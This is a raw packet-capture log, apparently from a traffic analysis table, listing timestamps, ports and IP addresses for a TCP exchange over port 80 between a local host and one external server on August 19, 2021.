Aug 19, 2021 07:53:40.265808105 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265810013 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265841961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265850067 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265873909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265881062 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265902042 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265924931 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265934944 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265965939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.265974998 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265989065 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.265997887 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266016006 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266031027 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266046047 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266063929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266072035 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266096115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266127110 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266136885 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266159058 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266177893 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266182899 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266204119 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266231060 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266232014 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266254902 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266259909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266293049 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266298056 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266319036 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266324043 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266346931 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266357899 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266376972 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266387939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266408920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266419888 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266439915 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266452074 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266460896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266479969 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266488075 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266510963 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266518116 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266541004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266542912 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266582012 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266599894 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266609907 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266632080 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266638041 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266659021 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266666889 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266681910 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266683102 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266704082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266714096 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266727924 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266752005 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266752958 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266778946 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266798973 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266802073 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266810894 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266825914 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266845942 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266849041 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266870975 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266887903 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266895056 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266916990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266923904 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266938925 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266957998 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.266961098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266977072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.266993046 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267004967 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267026901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267026901 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267050028 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267071962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267086983 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267092943 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267095089 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267134905 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267136097 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267160892 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267182112 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267188072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267206907 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267210007 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267231941 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267232895 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267255068 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267256975 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267277002 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267283916 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267299891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267309904 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267323017 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267344952 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267345905 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267366886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267385006 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267389059 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267391920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267410994 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267432928 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267433882 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267452002 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267465115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267477989 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267492056 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267499924 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267505884 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267518997 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267532110 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267560005 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267565966 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267585039 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267610073 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267611980 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267637014 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267637968 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267664909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267672062 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267690897 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267708063 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267716885 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267741919 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267744064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267771006 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267771959 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267796993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267801046 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267822981 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267823935 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267849922 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267851114 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267877102 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267878056 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267899036 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267904997 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267925024 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267930984 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267950058 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267957926 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267973900 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.267985106 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.267996073 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268011093 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268035889 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268038034 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268058062 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268064976 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268074989 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268091917 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268109083 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268117905 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268141031 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268146992 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268160105 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268168926 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268191099 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268196106 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268222094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268244028 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268249035 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268249035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268270016 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268275976 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268294096 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268301964 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268321037 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268328905 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268352985 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268356085 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268373966 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268382072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268400908 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268409014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268416882 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268435955 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268452883 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268462896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268475056 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268491983 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268507957 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268513918 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268532991 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268537045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268556118 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268560886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268583059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268584013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268608093 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268613100 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268630028 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268646955 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268651962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268673897 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268696070 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268718004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268718958 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268739939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268759012 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268760920 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268779039 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268784046 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268805981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268824100 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268829107 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268851042 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268858910 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268872976 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268894911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268901110 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268917084 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268939018 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268945932 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268960953 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.268979073 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.268982887 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269002914 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.269005060 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269030094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269047022 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.269051075 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269073009 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269089937 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.269093990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269117117 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.269117117 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269139051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269157887 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.269160986 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269190073 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.269191027 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269205093 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269226074 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.269229889 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269253969 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269272089 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.269278049 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269303083 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269323111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.269323111 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269342899 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269351959 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.269362926 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269387007 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.269387007 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.269411087 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.269455910 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.289248943 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.289299011 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.289330959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.289422989 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.289493084 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.300395012 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300431013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300462961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300492048 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300523043 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300553083 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300580978 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.300584078 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300614119 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300640106 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300668955 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.300673008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300676107 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.300693989 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.300704002 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300724983 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.300735950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300757885 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.300767899 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300790071 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.300798893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300822973 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.300831079 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300862074 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300883055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.300906897 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300928116 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300954103 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.300961971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.300991058 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301011086 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301018953 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301018953 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301043987 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301081896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301084995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301110029 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301111937 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301132917 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301139116 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301163912 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301167011 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301187992 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301204920 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301223040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301239967 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301258087 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301285982 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301289082 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301309109 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301316023 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301340103 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301347017 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301372051 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301377058 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301403999 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301404953 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301429033 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301433086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301460028 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301480055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301486969 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301508904 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301515102 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301541090 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301542997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301567078 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301587105 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301593065 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301619053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301620960 CEST	49738	80	192.168.2.7	193.142.59.119
